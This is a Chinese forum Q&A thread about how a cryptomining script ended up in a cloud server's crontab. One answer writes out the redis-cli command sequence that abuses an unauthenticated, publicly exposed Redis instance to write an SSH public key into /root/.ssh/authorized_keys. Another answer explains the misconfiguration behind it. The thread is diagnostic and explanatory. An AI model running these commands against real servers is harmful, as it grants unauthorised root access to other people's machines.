crontab定时任务被注入了挖矿脚本

Question

问题描述

腾讯云服务器，密码很复杂，突然crontab定时任务被注入了挖矿脚本

确定不是密码泄露，请问是如何做到注入的。

Answer 1

我之前也遇到过这个情况，是因为6379端口开放，而且redis没有设置密码，

redis-cli 连上后
config set dir /root/.ssh       
config set dbfilename authorized_keys
set xxx "\n\n\n本地公钥信息\n\n\n"         #"本地公钥信息"替换为自己的公钥信息
save 

可以通过redis 注入登录密钥，然后想干嘛就干嘛了,= =

Answer 2

楼上正解。
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。